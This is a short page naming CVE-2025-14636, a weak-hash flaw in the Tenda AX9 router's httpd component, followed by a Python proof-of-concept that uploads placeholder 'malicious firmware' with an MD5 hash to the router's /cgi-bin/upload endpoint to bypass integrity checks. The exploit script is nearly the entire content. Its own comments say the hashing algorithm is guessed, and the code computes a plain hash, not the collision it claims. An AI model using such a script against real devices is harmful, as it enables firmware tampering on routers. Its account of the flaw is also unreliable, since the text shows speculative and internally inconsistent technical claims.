CVE-2025-14636 Tenda AX9 httpd组件弱哈希漏洞

import requests import hashlib # CVE-2025-14636 PoC - Tenda AX9 Weak Hash Exploitation # Target: Tenda AX9 router with firmware 22.03.01.46 TARGET_IP = "192.168.0.1" TARGET_PORT = 80 def exploit_weak_hash(): """ This PoC demonstrates the weak hash vulnerability in Tenda AX9's image_check function. The vulnerability allows attackers to bypass firmware integrity checks. """ url = f"http://{TARGET_IP}:{TARGET_PORT}/cgi-bin/upload" # Prepare malicious firmware payload # In real attack, this would be a crafted firmware with predictable hash malicious_firmware = b"MALICIOUS_FIRMWARE_PAYLOAD" * 100 # Since weak hash is used, we can compute collision # Using MD5 for demonstration (actual implementation may use similar weak algorithm) weak_hash = hashlib.md5(malicious_firmware).hexdigest() # Prepare the upload request files = { 'firmware': ('malicious.bin', malicious_firmware, 'application/octet-stream') } data = { 'hash': weak_hash, 'action': 'upgrade' } print(f"[*] Targeting {TARGET_IP}") print(f"[*] Generated weak hash: {weak_hash}") print(f"[*] Uploading malicious firmware...") try: response = requests.post(url, files=files, data=data, timeout=30) print(f"[*] Response status: {response.status_code}") print(f"[*] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") if __name__ == "__main__": exploit_weak_hash()